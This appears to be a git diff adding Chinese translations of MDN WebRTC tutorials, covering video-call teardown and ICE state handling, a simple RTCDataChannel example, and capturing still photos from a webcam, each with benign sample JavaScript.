此函数通过将接收到的SDP传递给它的构造函数来构造一个 {{domxref("RTCIceCandidate")}}对象,然后通过{{domxref("RTCPeerConnection.addIceCandidate", "myPeerConnection.addIceCandidate()")}}将候选传递给ICE层。这把新建的ICE候选交给了当地的ICE层,最终,我们在处理整个候选的过程中的角色就完整的了。

+ +

每一个对等端向另一个对等端发送一个候选的可能传输配置,它认为这对于正在交换的媒体可能是可行的。在某种程度上,这两端认为,一个给定的候选是一个很好的选择,于是他们打开连接,开始分享媒体数据。然而,重点要注意的是,一旦媒体数据开始流动,ICE上协商就不会停止。相反,在对话开始后,候选对象可能仍然在不断地进行交换,可能是在试图找到更好的连接方法的同时,也可能只是因为在对等方成功建立连接时,他们已经在传输中了。

+ +

此外,如果发生什么事情导致流场景发生变化,协商将再次开始,将事件{{event("negotiationneeded")}}事件发送到{{domxref("RTCPeerConnection")}},整个过程将如前所述重新开始。这可能发生在各种情况下,包括:

+ + + +
接收新的流数据
+ +

当新的磁道添加到 RTCPeerConnection时——通过调用其{{domxref("RTCPeerConnection.addTrack", "addTrack()")}} 方法,或者由于重新协商流的格式——对于添加到连接的每个磁道, 一个{{event("track")}}事件设置为 RTCPeerConnection 。使用新添加的媒体需要实现 track 事件的处理程序。常见的需要是将传入的媒体附加到适当的HTML元素。在我们的示例中,我们将磁道的流添加到显示传入视频的 {{HTMLElement("video")}} 元素:

+ +
function handleAddStreamEvent(event) {
+  document.getElementById("received_video").srcObject = event.stream;
+  document.getElementById("hangup-button").disabled = false;
+}
+ +

传入流附加到 "received_video"{{HTMLElement("video")}}  元素,并且启用"Hang Up" {{HTMLElement("button")}}元素,以便用户挂断呼叫。

+ +

完成此代码后,其他对等方发送的视频将显示在本地浏览器窗口中!

+ +
处理流的移除
+ +

当远程对等方通过调用{{domxref("RTCPeerConnection.removeTrack()")}}.从连接中删除磁道时,你的代码将接收事件{{event("removetrack")}}事件。 "removetrack" 的处理程序是:

+ +
function handleRemoveTrackEvent(event) {
+  var stream = document.getElementById("received_video").srcObject;
+  var trackList = stream.getTracks();
+
+  if (trackList.length == 0) {
+    closeVideoCall();
+  }
+}
+ +

此代码从"received_video" {{HTMLElement("video")}}元素的{{htmlattrxref("srcObject", "video")}} 属性获取传入视频 {{domxref("MediaStream.getTracks", "getTracks()")}} 方法获取流的磁道数组。

+ +

如果数组的长度为零,意味着流中没有剩余的磁道,则通过调用 closeVideoCall()结束调用。这样就可以将我们的应用程序恢复到可以启动或接收另一个呼叫的状态。请参阅 {{anch("Ending the call")}} 了解 closeVideoCall() 的工作原理。

+ +

结束通话

+ +

通话可能结束的原因有很多。一个通话可能已经结束,当一方或双方都挂断了电话。可能发生了网络故障,或者某个用户退出了浏览器,或者发生了系统崩溃。无论如何,一切美好的事物都必须结束。

+ +
挂机
+ +

当用户单击"Hang Up"按钮结束调用时,将调用 hangUpCall() 函数:

+ +
function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}
+ +

hangUpCall() 执行 closeVideoCall() 来关闭并重置连接并释放资源。然后它会生成一个 "hang-up" 消息,并将其发送到呼叫的另一端,告诉另一个对等端整齐地关闭自己。

+ +
结束通话
+ +

 closeVideoCall() 函数,如下所示,负责停止流、清理和处理 {{domxref("RTCPeerConnection")}} 对象:

+ +
function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    myPeerConnection.ontrack = null;
+    myPeerConnection.onremovetrack = null;
+    myPeerConnection.onremovestream = null;
+    myPeerConnection.onicecandidate = null;
+    myPeerConnection.oniceconnectionstatechange = null;
+    myPeerConnection.onsignalingstatechange = null;
+    myPeerConnection.onicegatheringstatechange = null;
+    myPeerConnection.onnegotiationneeded = null;
+
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track => track.stop());
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track => track.stop());
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  remoteVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+  localVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+
+  document.getElementById("hangup-button").disabled = true;
+  targetUsername = null;
+}
+ +

在引用了两个 {{HTMLElement("video")}} 元素之后,我们检查WebRTC 连接是否仍然存在;如果存在,则继续断开并关闭调用:

+ +
    +
  1. 所有事件处理程序都将被删除。这可以防止在连接关闭过程中触发杂散事件处理程序,从而可能导致错误。
  2. +
  3. 对于远程视频流和本地视频流,我们对每个磁道进行迭代,调用{{domxref("MediaStreamTrack.stop()")}} 方法关闭每个磁道。
  4. +
  5. 通过调用{{domxref("RTCPeerConnection.close", "myPeerConnection.close()")}}.关闭 {{domxref("RTCPeerConnection")}} 。
  6. +
  7. 设置 myPeerConnection 为 null,确保我们的代码知道没有正在进行的调用;当用户单击用户列表中的名称时,这很有用。
  8. +
+ +

然后,对于传入和传出的{{HTMLElement("video")}}元素,我们使用它们的{{domxref("Element.removeAttribute", "removeAttribute()")}} 方法删除它们的 {{htmlattrxref("srcObject", "video")}}和{{htmlattrxref("src", "video")}} 属性。这就完成了流与视频元素的分离。

+ +

最后,我们在"Hang Up"按钮上将{{domxref("HTMLElement.disabled", "disabled")}}属性设置为 true,使其在没有调用的情况下不可点击;然后我们将targetUsername 设置为 null ,因为我们不再与任何人交谈。这允许用户呼叫另一个用户,或接收来电。

+ +

处理状态变更

+ +

还有许多其他事件可以设置监听器,用于通知代码各种状态更改。我们使用三种方法: {{event("iceconnectionstatechange")}},{{event("icegatheringstatechange")}},和 {{event("signalingstatechange")}}。

+ +
ICE 连接状态
+ +

事件{{event("iceconnectionstatechange")}}当连接状态更改时(例如,当从另一端终止调用时),由ICE层将事件发送到{{domxref("RTCPeerConnection")}} 。

+ +
function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}
+ +

这里,当ICE连接状态更改为"closed""failed",或者 "disconnected"时,我们将应用 closeVideoCall()函数。这将处理关闭我们的连接端,以便我们准备好重新开始或接受呼叫。

+ +
ICE 信令状态
+ +

同样,我们监听{{event("signalingstatechange")}}事件。如果信号状态变为 closed,我们同样关闭呼叫。

+ +
  myPeerConnection.onsignalingstatechange = function(event) {
+    switch(myPeerConnection.signalingState) {
+      case "closed":
+        closeVideoCall();
+        break;
+    }
+  };
+ +
+

注意:  closed的信令状态已被弃用,取而代之的是 closed{{domxref("RTCPeerConnection.iceConnectionState", "iceConnectionState")}}。我们在这里监听它以增加一点向后兼容性。

+
+ +
ICE 收集状态
+ +

{{event("icegatheringstatechange")}} 事件用于让你知道何时ICE候选收集进程状态发生更改。我们的示例并没有将其用于任何用途,但是为了调试的目的观察这些事件以及检测候选集合何时完成都是有用的。

+ +
function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+
+ +

下一步

+ +

现在您可以在Glitch上尝试这个例子,以看到它的实际效果。打开两个设备上的Web控制台并查看记录的输出,尽管你在上面所示的代码中看不到它,但是服务器上(以及GitHub上)的代码有很多控制台输出,因此你可以看到信令和连接进程在工作。

+ +

另一个明显的改进是添加了一个“铃声”功能,这样一来,一个"用户X正在呼叫。你是否要应答?" 提示会首先出现,而不仅仅是请求用户允许使用相机和麦克风。

diff --git a/files/zh-cn/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/zh-cn/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html new file mode 100644 index 0000000000..d42b8eaea5 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -0,0 +1,276 @@ +--- +title: RTCDataChannel 简单示例 +slug: Web/API/WebRTC_API/Simple_RTCDataChannel_sample +tags: + - WebRTC + - 建立 + - 数据通道 +translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample +--- +

{{WebRTCSidebar}}

+ +

{{domxref("RTCDataChannel")}} 接口是WebRTC API的一个功能,可以让您在两个对等体之间打开一个通道,您可以通过该通道发送和接收任意数据。 API有意地类似于WebSocket API,因此可以为每个API使用相同的编程模型。

+ +

在本示例中, 我们会在一个页面内建立 一条{{domxref("RTCDataChannel")}}链接 . 这个场景是为了演示如何链接两个Peer,实际场景并不常见。在本示例中解释了协商和建立链接的过程,定位和链接另外一台主机的场景在另外的一个示例中。 

+ +

The HTML

+ +

首先让我们看看我们需要的HTML代码HTML that's needed. 其实很简单,我们先有两个按钮用来链接和断开链接。

+ +
<button id="connectButton" name="connectButton" class="buttonleft">
+  Connect
+</button>
+<button id="disconnectButton" name="disconnectButton" class="buttonright" disabled>
+  Disconnect
+</button>
+ +

然后我们还有一个输入框,用来输入消息。一个按钮,来触发发送事件。这个 {{HTMLElement("div")}} 是给channel中第一个节点使用的。

+ +
  <div class="messagebox">
+    <label for="message">Enter a message:
+      <input type="text" name="message" id="message" placeholder="Message text"
+              inputmode="latin" size=60 maxlength=120 disabled>
+    </label>
+    <button id="sendButton" name="sendButton" class="buttonright" disabled>
+      Send
+    </button>
+  </div>
+ +

最后, 还有一个小DIV用来显示收到的内容. 这个 {{HTMLElement("div")}} 是给channel中第二个peer使用的。

+ +
<div class="messagebox" id="receivebox">
+  <p>Messages received:</p>
+</div>
+ +

The JavaScript code

+ +

你可以直接到look at the code itself on GitHub来看代码, 下面我们也会一步一步的解释。

+ +

WebRTC API 大量使用了{{jsxref("Promise")}}. 这样会让建立链接的过程变得简单;如果你还没有到ECMAScript 2015了解过Promise, 你应该先去看看. 另外本示例还使用了箭头语法arrow functions

+ +

启动

+ +

当脚本开始运行时, 我们对load事件挂接 {{event("load")}} 事件侦听, 因此一旦页面完全加载, startup() 函数将被调用。

+ +
function startup() {
+  connectButton = document.getElementById('connectButton');
+  disconnectButton = document.getElementById('disconnectButton');
+  sendButton = document.getElementById('sendButton');
+  messageInputBox = document.getElementById('message');
+  receiveBox = document.getElementById('receivebox');
+
+  // Set event listeners for user interface widgets
+
+  connectButton.addEventListener('click', connectPeers, false);
+  disconnectButton.addEventListener('click', disconnectPeers, false);
+  sendButton.addEventListener('click', sendMessage, false);
+}
+ +

上述逻辑一目了然. 我们拿到所有需要操作的页面元素引用, 之后对三个按钮设置事件侦听 {{domxref("EventListener", "event listeners")}} 。

+ +

建立连接

+ +

当用户点击 "Connect" 按钮,  connectPeers() 方法被调用。下面将逐一分析该方法中的细节。

+ +
+

注意: 尽管参与连接的两端都在同一页面,我们将启动连接的一端称为 "local" 端,另一端称为 "remote" 端。

+
+ +

建立本地节点

+ +
localConnection = new RTCPeerConnection();
+
+sendChannel = localConnection.createDataChannel("sendChannel");
+sendChannel.onopen = handleSendChannelStatusChange;
+sendChannel.onclose = handleSendChannelStatusChange;
+
+ +

第一步是建立该连接的 "local" 端,它是发起连接请求的一方。 下一步是通过调用{{domxref("RTCPeerConnection.createDataChannel()")}} 来创建 {{domxref("RTCDataChannel")}} 并设置事件侦听以监视该数据通道, 从而获知该通道的打开或关闭 (即获得该对等连接的通道打开或者关闭的时机)。

+ +

请务必记住该通道的每一端都拥有自己的 {{domxref("RTCDataChannel")}} 对象。

+ +

建立远程节点

+ +
remoteConnection = new RTCPeerConnection();
+remoteConnection.ondatachannel = receiveChannelCallback;
+ +

远程端的建立过程类似“local”端, 但它无需自己创建 {{domxref("RTCDataChannel")}} , 因为我们将通过上面建立的渠道进行连接。 我们创建对 {{event("datachannel")}} 的事件处理回调;数据通道打开时该逻辑将被执行, 该回调处理将接收到一个 RTCDataChannel 对象,此过程将在文章后面部分描述。

+ +

设立ICE 候选人

+ +

下一步为每个连接建立 ICE 候选侦听处理, 当连接的一方出现新的 ICE 候选时该侦听逻辑将被调用以告知连接的另一方此消息。

+ +
+

注意: 在现实场景,当参与连接的两节点运行于不同的上下文,建立连接的过程或稍微复杂些,每一次双方通过调用{{domxref("RTCPeerConnection.addIceCandidate()")}},提出连接方式的建议  (例如: UDP,、中继UDP 、 TCP之类的) , 双方来回往复直到达成一致。本文既然不涉及现实网络环境,因此我们假定双方接受首次连接建议。 

+
+ +
    localConnection.onicecandidate = e => !e.candidate
+        || remoteConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+
+    remoteConnection.onicecandidate = e => !e.candidate
+        || localConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+ +

我们配置每个 {{domxref("RTCPeerConnection")}} 对于事件 {{event("icecandidate")}} 建立事件处理。

+ +

启动连接尝试

+ +

建立节点连接的最后一项是创建一个连接offer.

+ +
    localConnection.createOffer()
+    .then(offer => localConnection.setLocalDescription(offer))
+    .then(() => remoteConnection.setRemoteDescription(localConnection.localDescription))
+    .then(() => remoteConnection.createAnswer())
+    .then(answer => remoteConnection.setLocalDescription(answer))
+    .then(() => localConnection.setRemoteDescription(remoteConnection.localDescription))
+    .catch(handleCreateDescriptionError);
+ +

逐行解读上面的代码:

+ +
    +
  1. 首先调用{{domxref("RTCPeerConnection.createOffer()")}} 方法创建 {{Glossary("SDP")}} (Session Description Protocol) 字节块用于描述我们期待建立的连接。该方法可选地接受一个描述连接限制的对象,例如连接是否必须支持音频、视频或者两者都支持。在我们的简单示例中,没有引入该限制。
  2. +
  3. 如果该offer成功建立, 我们将上述字节块传递给local连接的 {{domxref("RTCPeerConnection.setLocalDescription()")}} 方法。 用于配置local端的连接。
  4. +
  5. 下一步通过调用remoteConnection.{{domxref("RTCPeerConnection.setRemoteDescription()")}},告知remote节点上述描述,将local 节点连接到到远程 。  现在 remoteConnection 了解正在建立的连接。
  6. +
  7. 该是remote 节点回应的时刻了。remote 节点调用 {{domxref("RTCPeerConnection.createAnswer", "createAnswer()")}} 方法予以回应。 该方法生成一个SDP二进制块,用于描述 remote 节点愿意并且有能力建立的连接。 这样的连接配置是两端均可以支持可选项的结合。
  8. +
  9. 应答建立之后,通过调用{{domxref("RTCPeerConnection.setLocalDescription()")}}传入remoteConnection 。该调用完成了remote端连接的建立 (对于对端的remote 节点而言, 是它的local 端。 这种叙述容易使人困惑,但是看多了您就习惯了。
  10. +
  11. 最终,通过调用localConnection的{{domxref("RTCPeerConnection.setRemoteDescription()")}}方法,本地连接的远端描述被设置为指向remote节点。
  12. +
  13. catch() 调用一个用于处理任何异常的逻辑。
  14. +
+ +
+

注意: 再次申明,上述处理过程并非针对现实世界的实现,在正常环境下,建立连接的两端的机器,运行两块不同的代码,用于交互和协商连接过程。

+
+ +

对成功的对等连接的处理

+ +

当peer-to-peer连接的任何一方成功连接, 相应的 {{domxref("RTCPeerConnection")}}的{{event("icecandidate")}} 事件将被触发。 在事件的处理中可以执行任何需要的操作, 但在本例中,我们所需要做的只是更新用户界面。

+ +
  function handleLocalAddCandidateSuccess() {
+    connectButton.disabled = true;
+  }
+
+  function handleRemoteAddCandidateSuccess() {
+    disconnectButton.disabled = false;
+  }
+ +

当local节点连接成功时,禁用 "Connect" 按钮, 当remote节点连接时许用 "Disconnect" 按钮。

+ +

数据通道(data channel)的连接

+ +

{{domxref("RTCPeerConnection")}} 一旦open, 事件{{event("datachannel")}} 被发送到远端以完成打开数据通道的处理, 该事件触发 receiveChannelCallback() 方法,如下所示:

+ +
  function receiveChannelCallback(event) {
+    receiveChannel = event.channel;
+    receiveChannel.onmessage = handleReceiveMessage;
+    receiveChannel.onopen = handleReceiveChannelStatusChange;
+    receiveChannel.onclose = handleReceiveChannelStatusChange;
+  }
+ +

事件{{event("datachannel")}} 在它的channel属性中包括了:  对代表remote节点的 channel的{{domxref("RTCDataChannel")}} 的指向, 它保存了我们用以在该channel上对我们希望处理的事件建立的事件监听。 一旦侦听建立, 每当remote节点接收到数据 handleReceiveMessage() 方法将被调用, 每当通道的连接状态发生改变 handleReceiveChannelStatusChange() 方法将被调用, 因此通道完全打开或者关闭时我们都可以作出相应的相应。

+ +

对通道状态变化的处理

+ +

local节点和remote节点采用同样的方法处理表示通道连接状态变更的事件。

+ +

当local节点遭遇open 或者 close 事件, handleSendChannelStatusChange() 方法被调用:

+ +
  function handleSendChannelStatusChange(event) {
+    if (sendChannel) {
+      var state = sendChannel.readyState;
+
+      if (state === "open") {
+        messageInputBox.disabled = false;
+        messageInputBox.focus();
+        sendButton.disabled = false;
+        disconnectButton.disabled = false;
+        connectButton.disabled = true;
+      } else {
+        messageInputBox.disabled = true;
+        sendButton.disabled = true;
+        connectButton.disabled = false;
+        disconnectButton.disabled = true;
+      }
+    }
+  }
+ +

如果通道状态已经变更为 "open", 意味着我们已经完成了在两对等节点之间建立连接。 相应地用户界面根据状态更新,许用并将输入光标聚焦在text 输入框,以便用户可以立即输入要发送给对方的文本消息, 同时界面许用 "Send" 和 "Disconnect" 按钮(既然它们已经准备好了),禁用"Connect"按钮,既然在已经建立连接的情况下用不着它。

+ +

当连接状态变更为 "closed"时,界面执行相反的操作: 禁用文本输入框和 "Send" 按钮 , 许用"Connect" 按钮, 以便用户在需要时可以打开新的连接,禁用"Disconnect" 按钮,既然没有连接时用不着它。

+ +

另一方面,作为我们例子的remote 节点, 则无视这些状态改变事件, 仅仅是在控制台输出它们:

+ +
  function handleReceiveChannelStatusChange(event) {
+    if (receiveChannel) {
+      console.log("Receive channel's status has changed to " +
+                  receiveChannel.readyState);
+    }
+  }
+ +

handleReceiveChannelStatusChange() 方法接收到发生的事件,事件类型为 {{domxref("RTCDataChannelEvent")}}.

+ +

发送消息

+ +

当用户按下 "Send" 按钮,触发我们已建立的该按钮的 {{event("click")}} 事件处理逻辑,在处理逻辑中调用sendMessage() 方法。 该方法也足够简单:

+ +
  function sendMessage() {
+    var message = messageInputBox.value;
+    sendChannel.send(message);
+
+    messageInputBox.value = "";
+    messageInputBox.focus();
+  }
+ +

首先,待发送的消息文本从文本输入框的 {{htmlattrxref("value", "input")}}属性获得,之后该文本通过调用 {{domxref("RTCDataChannel.send", "sendChannel.send()")}}发送到remote节点。 都搞定了! 余下的只是些用户体验糖 ——清空并聚焦文本输入框,以便用户可以立即开始下一条消息的输入。

+ +

接收消息

+ +

当远程通道发生“message”事件时,我们的handleReceiveMessage()方法被调用来处理事件

+ +
  function handleReceiveMessage(event) {
+    var el = document.createElement("p");
+    var txtNode = document.createTextNode(event.data);
+
+    el.appendChild(txtNode);
+    receiveBox.appendChild(el);
+  }
+ +

该方法只是简单地注入了一些 {{Glossary("DOM")}}, 它创建了 {{HTMLElement("p")}} (paragraph) 元素, 然后创建了 {{domxref("Text")}} 用于显示从事件的data 属性拿到的消息文本。该text node作为子节点附加到receiveBox block,显示在浏览器窗口内容区。

+ +

断开节点

+ +

当用户点击"Disconnect" 按钮。在之前我们设置的按钮事件处理逻辑中disconnectPeers() 方法被调用。

+ +
  function disconnectPeers() {
+
+    // Close the RTCDataChannels if they're open.
+
+    sendChannel.close();
+    receiveChannel.close();
+
+    // Close the RTCPeerConnections
+
+    localConnection.close();
+    remoteConnection.close();
+
+    sendChannel = null;
+    receiveChannel = null;
+    localConnection = null;
+    remoteConnection = null;
+
+    // Update user interface elements
+
+    connectButton.disabled = false;
+    disconnectButton.disabled = true;
+    sendButton.disabled = true;
+
+    messageInputBox.value = "";
+    messageInputBox.disabled = true;
+  }
+
+ +

该方法首先关闭每个节点的{{domxref("RTCDataChannel")}},之后类似地关闭每个节点的 {{domxref("RTCPeerConnection")}}。将所有对它们的指向置为null 以避免意外的复用。 之后更新界面状态以符合目前已经不存在连接的事实。

+ +

下一步

+ +

You should try out this example and take a look at the webrtc-simple-datachannel source code, available on GitHub.

diff --git a/files/zh-cn/web/api/webrtc_api/taking_still_photos/index.html b/files/zh-cn/web/api/webrtc_api/taking_still_photos/index.html new file mode 100644 index 0000000000..c8fc957a8b --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/taking_still_photos/index.html @@ -0,0 +1,231 @@ +--- +title: Taking still photos with WebRTC +slug: Web/API/WebRTC_API/Taking_still_photos +tags: + - API + - Advanced + - Example + - Sample code + - Video + - WebRTC + - webcam +translation_of: Web/API/WebRTC_API/Taking_still_photos +--- +

{{WebRTCSidebar}}

+ +

本文介绍如何使用 WebRTC在 支持 WebRTC 的计算机或手机上访问摄像机,并用其拍照。 尝试一下这个示例然后继续阅读,了解它的工作原理。

+ +

WebRTC-based image capture app — on the left we have a video stream taken from a webcam and a take photo button, on the right we have the still image output from taking the photo

+ +

如果你喜欢,你也可以直接跳转到 GitHub 上的代码

+ +

HTML 标记

+ +

我们的 HTML 界面有两个主要的操作区域:流和捕获面板以及演示面板。 它们俩都在它们自己的 {{HTMLElement("div")}} 中并排呈现,以便于造型和控制。

+ +

左边的面板包含两个组件:一个 {{HTMLElement("video")}} 元素,它将接收来自 WebRTC 的流,以及用户点击捕获视频帧的 {{HTMLElement("button")}}。

+ +
  <div class="camera">
+    <video id="video">Video stream not available.</video>
+    <button id="startbutton">Take photo</button>
+  </div>
+ +

这很简单,当我们进入 JavaScript 代码时,我们将看到他们是如何紧密联系在一起的。

+ +

接下来,我们有一个 {{HTMLElement("canvas")}} 元素,捕获的帧被存储到其中,可能以某种方式进行操作,然后转换为输出图像文件。 通过使用样式 {{cssxref("display")}}:none 将画布保持隐藏,以避免画面的混乱 —— 用户不需要看到这个中间过程。

+ +

我们还有一个 {{HTMLElement("img")}} 元素,我们将涌起绘制图像——这是让用户看到的最终显示。

+ +
  <canvas id="canvas">
+  </canvas>
+  <div class="output">
+    <img id="photo" alt="The screen capture will appear in this box.">
+  </div>
+ +

这是所有相关的HTML。 其余的只是一些页面布局和提供一个返回页面链接的些许文本。

+ +

JavaScript 代码

+ +

现在来看看 JavaScript 代码。 我们将把它分解成几个小的部分,使其更容易解释。

+ +

初始化

+ +

我们首先将整个脚本包装在匿名函数中,以避免使用全局变量,然后设置我们将要使用的各种变量。

+ +
(function() {
+  var width = 320;    // We will scale the photo width to this
+  var height = 0;     // This will be computed based on the input stream
+
+  var streaming = false;
+
+  var video = null;
+  var canvas = null;
+  var photo = null;
+  var startbutton = null;
+ +

那些变量是:

+ +
+
width
+
无论输入视频的尺寸如何,我们将把所得到的图像缩放到 320 像素宽。
+
height
+
给定流的 width 和宽高比,计算出图像的输出高度。
+
streaming
+
指示当前是否有活动的视频流正在运行。
+
video
+
这将是页面加载完成后对 {{HTMLElement("video")}} 元素的引用。
+
canvas
+
这将是页面加载完成后对 {{HTMLElement("canvas")}} 元素的引用。
+
photo
+
这将在页面加载完成后引用 {{HTMLElement("img")}} 元素。
+
startbutton
+
这将引用用于触发捕获的 {{HTMLElement("button")}} 元素。 我们会在页面加载完成之后得到。
+
+ +

startup( )函数

+ +

当页面加载完成时,startup( ) 函数运行,由window.addEventListener( )提供。 此功能的作用是请求访问用户的网络摄像头,将输出<img>初始化为默认状态,并建立从相机接收每帧视频所需的事件侦听器,并在点击按钮捕获图像时作出反应 。

+ +

获取元素引用

+ +

首先,我们参考我们需要访问的主要内容。

+ +
  function startup() {
+    video = document.getElementById('video');
+    canvas = document.getElementById('canvas');
+    photo = document.getElementById('photo');
+    startbutton = document.getElementById('startbutton');
+ +

获取流媒体

+ +

接下来的任务是获取媒体流:

+ +
    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.play();
+    })
+    .catch(function(err) {
+        console.log("An error occured! " + err);
+    });
+
+ +

在这里,我们正在调用 {{domxref("MediaDevices.getUserMedia()")}}  并请求视频流(无音频)。 它返回一个 promise,我们给它附加成功和失败情况下的回调方法。

+ +

成功回调接收一个 stream 对象作为输入。它是新视频的 {{HTMLElement("video")}} 元素的源。

+ +

一旦流被链接到 {{HTMLElement("video")}} 元素,我们通过调用 HTMLMediaElement.play() 开始播放。

+ +

如果打开流失败,则调用失败回调函数。 在没有连接兼容的相机,或者用户拒绝访问时,则会发生这种情况。

+ +

监听视频开始播放

+ +

在 {{HTMLElement("video")}} 上调用 HTMLMediaElement.play() 之后,在视频流开始流动之前,有一段(希望简短)的时间段过去了。 为了避免在此之前一直阻塞,我们为 {{HTMLElement("video")}} 加上一个 {{event("canplay")}} 事件的监听器,当视频播放实际开始时会触发该事件。 那时,视频对象中的所有属性都已基于流的格式进行配置。

+ +
    video.addEventListener('canplay', function(ev){
+      if (!streaming) {
+        height = video.videoHeight / (video.videoWidth/width);
+
+        video.setAttribute('width', width);
+        video.setAttribute('height', height);
+        canvas.setAttribute('width', width);
+        canvas.setAttribute('height', height);
+        streaming = true;
+      }
+    }, false);
+ +

这个回调什么都不做,除非它是第一次被调用; 这是通过查看我们的流变量的值进行测试,这是第一次运行此方法时为false。

+ +

如果这是第一次运行,我们会根据视频的实际大小,video.videoWidth和要渲染视频宽度的宽度之间的大小差异来设置视频的高度。

+ +

最后,通过在每个元素的两个属性的每一个上调用Element.setAttribute()来设置视频和画布的宽度和高度,并根据需要设置宽度和高度。 最后,我们将流变量设置为true,以防止我们再次无意中运行此设置代码。

+ +

处理按钮上的点击

+ +

为了在每次用户单击启动按钮时捕获静态照片,我们需要向按钮添加一个事件侦听器,以便在发出点击事件时被调用:

+ +

+ +
    startbutton.addEventListener('click', function(ev){
+      takepicture();
+      ev.preventDefault();
+    }, false);
+ +

这个方法很简单:它只是调用我们的takepicture()函数,在从流中捕获一个帧的部分中定义,然后在接收的事件上调用Event.preventDefault(),以防止点击被多次处理。

+ +

包装startup()方法

+ +

startup()方法中只有两行代码:

+ +
    clearphoto();
+  }
+ +

这就是我们在Clearflow()方法中,我们将在下面的清理照片框中进行描述。

+ +

清除照片框

+ +

清除照片框包括创建一个图像,然后将其转换为可以显示最近捕获的帧的<img>元素使用的格式。 该代码如下所示:

+ +
  function clearphoto() {
+    var context = canvas.getContext('2d');
+    context.fillStyle = "#AAA";
+    context.fillRect(0, 0, canvas.width, canvas.height);
+
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+ +

我们首先得到对我们用于屏幕外渲染的隐藏的<canvas>元素的引用。 接下来,我们将fillStyle设置为#AAA(相当浅灰色),并通过调用fillRect()来填充整个画布。

+ +

最后在此功能中,我们将画布转换为PNG图像,并调用photo.setAttribute()以使我们捕获的静止框显示图像。

+ +

从流中捕获帧

+ +

最后一个定义的功能是整个练习的重点:takepicture()函数,其捕获当前显示的视频帧的作业将其转换为PNG文件,并将其显示在捕获的帧框中。 代码如下所示:

+ +
  function takepicture() {
+    var context = canvas.getContext('2d');
+    if (width && height) {
+      canvas.width = width;
+      canvas.height = height;
+      context.drawImage(video, 0, 0, width, height);
+
+      var data = canvas.toDataURL('image/png');
+      photo.setAttribute('src', data);
+    } else {
+      clearphoto();
+    }
+  }
+ +

正如我们需要处理画布内容的情况一样,我们首先得到隐藏画布的2D绘图上下文。

+ +

然后,如果宽度和高度都是非零(意味着至少有潜在有效的图像数据),我们将画布的宽度和高度设置为与捕获帧的宽度和高度相匹配,然后调用drawImage()来绘制当前的 将视频帧放入上下文中,用帧图像填充整个画布。

+ +
+

注意:这可以利用HTMLVideoElement接口看起来像任何接受HTMLImageElement作为参数的API的HTMLImageElement,将视频的当前帧呈现为图像的内容。

+
+ +

一旦画布包含捕获的图像,我们通过调用它的HTMLCanvasElement.toDataURL()将它转换为PNG 格式; 最后,我们调用photo.setAttribute()来使我们捕获的静态框显示图像。

+ +

如果没有可用的有效图像(即宽度和高度均为0),则通过调用clearphoto()清除捕获帧框的内容。

+ +
// 加载完毕后开始运行
+    window.addEventListener("load", startup, false);
+})();
+ +

过滤器的乐趣

+ +


+ 由于我们通过从<video>元素中抓取帧来捕获用户网络摄像头的图像,因此我们可以非常轻松地将过滤器和有趣的效果应用于视频。 事实证明,使用过滤器属性应用于元素的任何CSS过滤器都会影响捕获的照片。 这些过滤器可以从简单(使图像黑白)到极限(高斯模糊和色调旋转)。

+ +

您可以使用例如Firefox开发人员工具的风格编辑器来播放此效果; 有关如何执行此操作的详细信息,请参阅编辑CSS过滤器。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html b/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html new file mode 100644 index 0000000000..5558186d7a --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html @@ -0,0 +1,262 @@ +--- +title: WebRTC basics +slug: Web/API/WebRTC_API/WebRTC_basics +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +

{{WebRTCSidebar}}

+ +
+

当你理解 WebRTC 架构之后, 你就可以阅读本篇文章了。本篇文章将带领你贯穿整个跨浏览器 RTC 应用的创建过程。到本章结束的时候,你就拥有了一个可以运行的点对点的数据通道和媒体通道。

+
+ +
+

本页的案例过期了! 不要再尝试他们了。

+
+ +

注意

+ +

由于近期 API 做了一些修改,一些比较老的案例需要修复,暂时不可用。

+ + + +

当前可以正常工作的的案例是:

+ + + +

正确的实现方式或许可以从标准中推断出来。

+ +

本页包含的其余的过期的信息,在 bugzilla

+ +

Shims

+ +

就像你想的那样,这样前卫的 API 肯定需要浏览器前缀才可以,然后再将它转换成通用的变量。

+ +
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
+ +

RTCPeerConnection

+ +

这是使用 peer 创建连接的起始点。它接收一个配置选项,其中配置了用来创建连接的 ICE 服务器信息。

+ +
var pc = new RTCPeerConnection(configuration);
+ +

RTCConfiguration

+ +

